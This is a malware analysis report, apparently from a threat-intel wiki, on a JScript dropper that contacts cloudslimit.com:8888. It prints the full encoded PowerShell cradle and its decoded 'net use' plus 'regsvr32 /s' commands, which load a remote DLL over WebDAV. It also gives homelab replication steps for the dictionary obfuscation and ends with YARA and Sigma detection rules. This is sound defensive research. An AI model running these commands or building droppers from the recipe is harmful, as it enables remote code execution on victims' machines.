unclassified-js-webdav-dropper: aac0198b5 — 62-entry natural-language dictionary, cloudslimit.com:8888, PowerShell wrapper

Executive Summary

JScript dropper (10014266852223631224.js, 19.4 KB) using a 62-entry natural-language dictionary lookup-table obfuscation with three-word compound-phrase keys. Assembles a PowerShell -EncodedCommand cradle that mounts a WebDAV share at cloudslimit.com:8888 and silently registers a remote DLL via regsvr32 /s. Twenty-fifth confirmed sibling in the unclassified JS WebDAV dropper family. Static-only analysis; no CAPE detonation (JS is not a supported binary class).

What It Is

• File: 10014266852223631224.js ^[triage.json]
• Size: 19,851 bytes (19.4 KB) ^[file.txt]
• Type: ASCII text, single-line JScript with very long lines (19,851 chars, no line terminators) ^[file.txt]
• SHA-256: aac0198b599d6d2b6d4aee41548834abc3c952e448530ecb48cc003a18a73c10
• SSDEEP: 192:ETHg3wwb2YcXFjhRiuR4Oitoi2VgQH4yqpxVcOVliV:aA3wWTwik4Ptoi2VgQYyqpzckliV ^[ssdeep.txt]
• TLSH: 6192E32C94C94BA7F50BA255B5DA7F716EB948920820AEB8932713033ED79C4C33799D ^[tlsh.txt]
• Family: unclassified-js-webdav-dropper — see unclassified-js-webdav-dropper for cluster overview.

How It Works

Layer 1 — Nested Try/Catch Decoy

The script opens with try{filmbewilderedinstinctive();}catch(tourabruptclose){...} ^[strings.txt:1] and a second try{cynicalstretchdidactic();}catch(premiumpassjumpy){...} immediately after the first catch block. Both try functions are undefined, guaranteeing the catch path executes. This is a consistent decoy pattern across dictionary-dialect siblings (cc90d6c, ccb2d007, a3419c27a).

Layer 2 — Dictionary Lookup Table

Inside catch(tourabruptclose), a 62-entry dictionary wheellanguageposition is populated with three-word natural-language compound phrases mapped to single ASCII characters: ^[strings.txt:1]

erectaverageavoid -> I
imaginetranquilscared -> A
stomachfastrat -> v
kettletreespin -> N
...
moanclothcattle -> n

Key naming style: non-alliterative three-word English compounds (e.g., erectaverageavoid, nostalgicairportwell-to-do, ill-fatedsuperbsettle). This is the second observed sample using this non-alliterative natural-language key style, after a3419c27a (first). Distinct from the alliterative three-word style (wide-eyedquickbrass) seen in ccb2d007/cc90d6c, the random-noise style (hrwfkasmlfbj) seen in df42ecf8/d0124d62, and the short word-pair style seen in earlier 36-entry variants.

Layer 3 — String Assembly via Function Constructor

The payload is assembled inside catch(premiumpassjumpy) using:

Function(''+wheellanguageposition['aheadbrotherhelp']+...+'',0,false)()

This evaluates to return this in the global context, yielding WScript. ^[strings.txt:1]

Decoded payload:

return this')()['WScript']['CreateObject']('WScript.Shell')['run']('powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADcANgA2ADQAMgA1ADcAMAA0ADMAMgA1ADIAMAAuAGQAbABsAA==

The Base64 decodes to UTF-16 LE: ^[strings.txt:1]

net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\176642570432520.dll

Execution Chain

1. wscript.exe opens .js file.
2. JScript decodes dictionary and assembles PowerShell command.
3. WScript.Shell.Run spawns powershell.exe -EncodedCommand <...>.
4. PowerShell decodes and runs: net use to mount WebDAV share.
5. regsvr32 /s silently loads remote DLL over HTTP/WebDAV.

No wordpad decoy, no sandbox gate, no split-domain C2 (both mount and fetch use cloudslimit.com:8888).

C2 Infrastructure

Interesting Tidbits

• 62-entry dictionary: Maximum observed cardinality for this family. 36-entry variants are more common on 45.9.74.36:8888; 62-entry variants cluster on cloudslimit.com:8888 and dailywebstats.com:8888. ^[strings.txt:1]
• Natural-language compound-phrase keys: Second observed sample with non-alliterative three-word keys. The keys read as random English phrases (erectaverageavoid, destructionthunderrainstorm, flagrebelplan) but carry no semantic payload. This style may be a deliberate evasion against dictionary-based heuristic detection that flags alliterative or noise patterns. ^[strings.txt:1]
• No split-domain C2: Unlike sibling fb353965 (which splits mount vs fetch across cloudslimit.com and cloudskimit.com), this sample uses a single domain for both operations. Simplifies infrastructure but increases fingerprintability. ^[strings.txt:1]
• No sandbox gate: No process-list checks, no VM detection, no connectivity tests. Executes immediately upon opening. ^[dynamic-analysis.md]
• Payload filename: 176642570432520.dll — 15-digit numeric, consistent with family naming convention (observed lengths: 2–17 digits). ^[strings.txt:1]

How To Mess With It (Homelab Replication)

1. Build the dictionary. Choose 62 unique three-word English compounds (e.g., saltwhiteclean, bashfulyellowe). Map to [a-zA-Z0-9] plus common symbols and space.
2. Encode the payload. Convert a PowerShell or batch command to character-by-character dictionary lookups.
3. Wrap in decoy. Use nested try{undefinedFunc();}catch(e){...} to force the catch path.
4. Assemble with Function constructor. Use Function('return this')() to access WScript without hardcoding.
5. Test against EDR. Static string detection will fail; behavioral detection (monitoring wscript.exe → powershell.exe → net.exe → regsvr32.exe) will catch it.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_Dictionary_NaturalLang_62 {
    meta:
        description = "JScript WebDAV dropper with 62-entry natural-language dictionary lookup"
        author = "PacketPursuit"
        family = "unclassified-js-webdav-dropper"
        hash = "aac0198b599d6d2b6d4aee41548834abc3c952e448530ecb48cc003a18a73c10"
    strings:
        $dict_obj = /\w{20,40}=\[\];\w{20,40}\['[a-z-]{10,30}'\]='[A-Za-z0-9]';/
        $try_catch1 = "try{" ascii wide
        $catch1 = "catch(tourabruptclose)" ascii wide
        $catch2 = "catch(premiumpassjumpy)" ascii wide
        $func_ctor = "Function(''" ascii wide
        $wscript1 = "WScript" ascii wide
        $wscript2 = "WScript.Shell" ascii wide
        $powershell = "powershell" ascii wide
        $encoded = "EncodedCommand" ascii wide
        $net_use = "net use" ascii wide
        $regsvr32 = "regsvr32" ascii wide
        $dav = "DavWWWRoot" ascii wide nocase
    condition:
        filesize < 25KB and
        (#dict_obj >= 50) and
        $try_catch1 and
        $func_ctor and
        $wscript1 and
        $wscript2 and
        ($net_use or $regsvr32 or $dav) and
        4 of ($catch1, $catch2, $powershell, $encoded)
}

Sigma Rule

title: JScript WebDAV Dropper Execution Chain
description: Detects wscript.exe spawning powershell.exe that executes net use and regsvr32 over WebDAV UNC path
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\wscript.exe'
  selection_child:
    - CommandLine|contains: 'powershell'
    - CommandLine|contains: 'EncodedCommand'
  selection_grandchild:
    CommandLine|contains:
      - 'net use'
      - 'regsvr32'
      - 'DavWWWRoot'
  condition: selection_parent and selection_child and selection_grandchild
falsepositives:
  - Rare legitimate administrative scripts
level: high

IOC List

Behavioral Fingerprint Statement

This JScript sample opens via wscript.exe, builds a 62-entry character lookup dictionary inside nested try/catch blocks using three-word natural-language compound keys, assembles a PowerShell -EncodedCommand string via the Function constructor, and spawns powershell.exe to execute net use against a cloudslimit.com:8888 WebDAV share followed by regsvr32 /s loading a numeric-named DLL from the UNC path. No sandbox gate, no decoy application, no split-domain C2.

Detection Signatures

References

• unclassified-js-webdav-dropper — Entity page for this family (24 prior siblings documented)
• js-dictionary-char-lookup-obfuscation — Technique page for dictionary lookup obfuscation
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
• MITRE ATT&CK T1218.010: https://attack.mitre.org/techniques/T1218/010/

Provenance

• file.txt — file utility (determined ASCII text, very long lines)
• strings.txt — strings output (single line, 19,851 chars; contains full JScript source)
• triage.json — triage pipeline metadata (filename, SHA-256, size, labels)
• ssdeep.txt — ssdeep hash
• tlsh.txt — TLSH hash
• exiftool.json — ExifTool metadata (TXT file, us-ascii)
• dynamic-analysis.md — CAPE sandbox status (skipped: not a supported binary class)
• Custom Python decoder script (/tmp/decode6_aac0198.py) used to extract dictionary and assemble payload

Note: No Ghidra/radare2 analysis was performed because the sample is a plaintext JScript file, not a PE binary. No CAPE detonation was possible for the same reason. All behavioral inferences are derived from static string decoding.